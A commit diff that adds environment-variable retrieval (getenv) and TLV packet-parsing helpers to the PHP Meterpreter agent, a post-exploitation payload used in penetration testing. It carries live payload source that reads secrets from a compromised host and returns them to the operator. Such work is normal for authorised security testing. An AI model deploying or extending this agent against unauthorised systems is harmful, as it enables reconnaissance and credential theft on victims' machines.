Add PHP side for meterpreter getenv
parent
1a65566005
commit
a3337e5de5
|
@ -78,6 +78,14 @@ define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012);
|
||||||
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
|
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
|
||||||
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
|
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
|
||||||
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
|
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
|
||||||
|
define("TLV_TYPE_ARCHITECTURE", TLV_META_TYPE_STRING | 1043);
|
||||||
|
define("TLV_TYPE_LANG_SYSTEM", TLV_META_TYPE_STRING | 1044);
|
||||||
|
|
||||||
|
# Environment
|
||||||
|
define("TLV_TYPE_ENV_VARIABLE", TLV_META_TYPE_STRING | 1100);
|
||||||
|
define("TLV_TYPE_ENV_VALUE", TLV_META_TYPE_STRING | 1101);
|
||||||
|
define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
|
||||||
|
|
||||||
|
|
||||||
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
|
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
|
||||||
|
|
||||||
|
@ -162,7 +170,7 @@ define("ERROR_CONNECTION_ERROR", 10000);
|
||||||
# eval'd twice
|
# eval'd twice
|
||||||
my_print("Evaling stdapi");
|
my_print("Evaling stdapi");
|
||||||
|
|
||||||
##
|
##
|
||||||
# Search Helpers
|
# Search Helpers
|
||||||
##
|
##
|
||||||
|
|
||||||
|
@ -197,38 +205,38 @@ define('GLOB_RECURSE',2048);
|
||||||
*/
|
*/
|
||||||
if (!function_exists('safe_glob')) {
|
if (!function_exists('safe_glob')) {
|
||||||
function safe_glob($pattern, $flags=0) {
|
function safe_glob($pattern, $flags=0) {
|
||||||
$split=explode('/',str_replace('\\','/',$pattern));
|
$split=explode('/',str_replace('\\','/',$pattern));
|
||||||
$mask=array_pop($split);
|
$mask=array_pop($split);
|
||||||
$path=implode('/',$split);
|
$path=implode('/',$split);
|
||||||
if (($dir=opendir($path))!==false) {
|
if (($dir=opendir($path))!==false) {
|
||||||
$glob=array();
|
$glob=array();
|
||||||
while (($file=readdir($dir))!==false) {
|
while (($file=readdir($dir))!==false) {
|
||||||
// Recurse subdirectories (GLOB_RECURSE)
|
// Recurse subdirectories (GLOB_RECURSE)
|
||||||
if (
|
if (
|
||||||
(
|
(
|
||||||
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
|
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
|
||||||
&& (!in_array($file,array('.','..'))
|
&& (!in_array($file,array('.','..'))
|
||||||
# don't follow links to avoid infinite recursion
|
# don't follow links to avoid infinite recursion
|
||||||
&& (!is_link($path."/".$file))
|
&& (!is_link($path."/".$file))
|
||||||
)
|
)
|
||||||
) {
|
) {
|
||||||
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
|
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
|
||||||
($flags&GLOB_PATH?'':$file.'/')));
|
($flags&GLOB_PATH?'':$file.'/')));
|
||||||
}
|
}
|
||||||
// Match file mask
|
// Match file mask
|
||||||
if (fnmatch($mask,$file)) {
|
if (fnmatch($mask,$file)) {
|
||||||
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
|
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
|
||||||
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
|
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
|
||||||
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
|
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
|
||||||
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
|
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
closedir($dir);
|
closedir($dir);
|
||||||
if (!($flags&GLOB_NOSORT)) sort($glob);
|
if (!($flags&GLOB_NOSORT)) sort($glob);
|
||||||
return $glob;
|
return $glob;
|
||||||
} else {
|
} else {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
/**
|
/**
|
||||||
|
@ -239,7 +247,7 @@ function safe_glob($pattern, $flags=0) {
|
||||||
*/
|
*/
|
||||||
if (!function_exists('fnmatch')) {
|
if (!function_exists('fnmatch')) {
|
||||||
function fnmatch($pattern, $string) {
|
function fnmatch($pattern, $string) {
|
||||||
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
|
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -261,7 +269,7 @@ function array_prepend($array, $string, $deep=false) {
|
||||||
else
|
else
|
||||||
$array[$key] = $string.$element;
|
$array[$key] = $string.$element;
|
||||||
return $array;
|
return $array;
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -519,13 +527,13 @@ function stdapi_fs_md5($req, &$pkt) {
|
||||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||||
$path = cononicalize_path($path_tlv['value']);
|
$path = cononicalize_path($path_tlv['value']);
|
||||||
|
|
||||||
if (is_callable("md5_file")) {
|
if (is_callable("md5_file")) {
|
||||||
$md5 = md5_file($path);
|
$md5 = md5_file($path);
|
||||||
} else {
|
} else {
|
||||||
$md5 = md5(file_get_contents($path));
|
$md5 = md5(file_get_contents($path));
|
||||||
}
|
}
|
||||||
$md5 = pack("H*", $md5);
|
$md5 = pack("H*", $md5);
|
||||||
# Ghetto abuse of file name type to indicate the md5 result
|
# Ghetto abuse of file name type to indicate the md5 result
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
@ -538,13 +546,13 @@ function stdapi_fs_sha1($req, &$pkt) {
|
||||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||||
$path = cononicalize_path($path_tlv['value']);
|
$path = cononicalize_path($path_tlv['value']);
|
||||||
|
|
||||||
if (is_callable("sha1_file")) {
|
if (is_callable("sha1_file")) {
|
||||||
$sha1 = sha1_file($path);
|
$sha1 = sha1_file($path);
|
||||||
} else {
|
} else {
|
||||||
$sha1 = sha1(file_get_contents($path));
|
$sha1 = sha1(file_get_contents($path));
|
||||||
}
|
}
|
||||||
$sha1 = pack("H*", $sha1);
|
$sha1 = pack("H*", $sha1);
|
||||||
# Ghetto abuse of file name type to indicate the sha1 result
|
# Ghetto abuse of file name type to indicate the sha1 result
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
@ -573,6 +581,41 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!function_exists('stdapi_sys_config_getenv')) {
|
||||||
|
register_command('stdapi_sys_config_getenv');
|
||||||
|
function stdapi_sys_config_getenv($req, &$pkt) {
|
||||||
|
my_print("doing getenv");
|
||||||
|
|
||||||
|
$variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE);
|
||||||
|
|
||||||
|
# If we decide some day to have sys.config.getenv return all env
|
||||||
|
# vars when given an empty search list, this is one way to do it.
|
||||||
|
#if (empty($variable_tlvs)) {
|
||||||
|
# # We don't have a var to look up, return all of 'em
|
||||||
|
# $variables = array_keys($_SERVER);
|
||||||
|
#} else {
|
||||||
|
# $variables = array();
|
||||||
|
# foreach ($variable_tlvs as $tlv) {
|
||||||
|
# array_push($variables, $tlv['value']);
|
||||||
|
# }
|
||||||
|
#}
|
||||||
|
|
||||||
|
foreach ($variable_tlvs as $name) {
|
||||||
|
$canonical_name = str_replace(array("$","%"), "", $name['value']);
|
||||||
|
$env = getenv($canonical_name);
|
||||||
|
if ($env !== FALSE) {
|
||||||
|
$grp = "";
|
||||||
|
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name));
|
||||||
|
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env));
|
||||||
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
# Unimplemented becuase it's unimplementable
|
# Unimplemented becuase it's unimplementable
|
||||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||||
#register_command('stdapi_sys_config_rev2self');
|
#register_command('stdapi_sys_config_rev2self');
|
||||||
|
@ -696,24 +739,24 @@ function close_process($proc) {
|
||||||
foreach ($proc['pipes'] as $f) {
|
foreach ($proc['pipes'] as $f) {
|
||||||
@fclose($f);
|
@fclose($f);
|
||||||
}
|
}
|
||||||
if (is_callable('proc_get_status')) {
|
if (is_callable('proc_get_status')) {
|
||||||
$status = proc_get_status($proc['handle']);
|
$status = proc_get_status($proc['handle']);
|
||||||
} else {
|
} else {
|
||||||
# fake a running process on php < 4.3
|
# fake a running process on php < 4.3
|
||||||
$status = array('running' => true);
|
$status = array('running' => true);
|
||||||
}
|
}
|
||||||
|
|
||||||
# proc_close blocks waiting for the child to exit, so if it's still
|
# proc_close blocks waiting for the child to exit, so if it's still
|
||||||
# running, don't take a chance on deadlock and just sigkill it if we
|
# running, don't take a chance on deadlock and just sigkill it if we
|
||||||
# can. We can't on php < 4.3, so don't do anything. This will leave
|
# can. We can't on php < 4.3, so don't do anything. This will leave
|
||||||
# zombie processes, but that's better than deadlock.
|
# zombie processes, but that's better than deadlock.
|
||||||
if ($status['running'] == false) {
|
if ($status['running'] == false) {
|
||||||
proc_close($proc['handle']);
|
proc_close($proc['handle']);
|
||||||
} else {
|
} else {
|
||||||
if (is_callable('proc_terminate')) {
|
if (is_callable('proc_terminate')) {
|
||||||
proc_terminate($proc['handle'], 9);
|
proc_terminate($proc['handle'], 9);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
|
if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
|
||||||
unset($channel_process_map[$proc['cid']]);
|
unset($channel_process_map[$proc['cid']]);
|
||||||
}
|
}
|
||||||
|
|
|
@ -680,6 +680,30 @@ function tlv_pack($tlv) {
|
||||||
return $ret;
|
return $ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function tlv_unpack($raw_tlv) {
|
||||||
|
$tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8));
|
||||||
|
$type = $tlv['type'];
|
||||||
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
|
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||||
|
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
}
|
||||||
|
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||||
|
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
}
|
||||||
|
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
||||||
|
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||||
|
}
|
||||||
|
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
||||||
|
$tlv = unpack("Nlen/Ntype", $raw_tlv);
|
||||||
|
$tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
my_print("Wtf type is this? $type");
|
||||||
|
$tlv = null;
|
||||||
|
}
|
||||||
|
return $tlv;
|
||||||
|
}
|
||||||
|
|
||||||
function packet_add_tlv(&$pkt, $tlv) {
|
function packet_add_tlv(&$pkt, $tlv) {
|
||||||
$pkt .= tlv_pack($tlv);
|
$pkt .= tlv_pack($tlv);
|
||||||
}
|
}
|
||||||
|
@ -689,27 +713,10 @@ function packet_get_tlv($pkt, $type) {
|
||||||
# Start at offset 8 to skip past the packet header
|
# Start at offset 8 to skip past the packet header
|
||||||
$offset = 8;
|
$offset = 8;
|
||||||
while ($offset < strlen($pkt)) {
|
while ($offset < strlen($pkt)) {
|
||||||
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
||||||
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
||||||
#my_print("Found one at offset $offset");
|
#my_print("Found one at offset $offset");
|
||||||
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
||||||
$tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len']));
|
|
||||||
}
|
|
||||||
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
||||||
$tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len']));
|
|
||||||
}
|
|
||||||
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
||||||
$tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len']));
|
|
||||||
}
|
|
||||||
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
||||||
$tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
|
|
||||||
$tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
my_print("Wtf type is this? $type");
|
|
||||||
$tlv = null;
|
|
||||||
}
|
|
||||||
return $tlv;
|
return $tlv;
|
||||||
}
|
}
|
||||||
$offset += $tlv['len'];
|
$offset += $tlv['len'];
|
||||||
|
@ -719,6 +726,27 @@ function packet_get_tlv($pkt, $type) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function packet_get_all_tlvs($pkt, $type) {
|
||||||
|
my_print("Looking for all tlvs of type $type");
|
||||||
|
# Start at offset 8 to skip past the packet header
|
||||||
|
$offset = 8;
|
||||||
|
$all = array();
|
||||||
|
while ($offset < strlen($pkt)) {
|
||||||
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
||||||
|
if ($tlv == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||||
|
if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
||||||
|
my_print("Found one at offset $offset");
|
||||||
|
array_push($all, $tlv);
|
||||||
|
}
|
||||||
|
$offset += $tlv['len'];
|
||||||
|
}
|
||||||
|
return $all;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# Functions for genericizing the stream/socket conundrum
|
# Functions for genericizing the stream/socket conundrum
|
||||||
##
|
##
|
||||||
|
|
Loading…
Reference in New Issue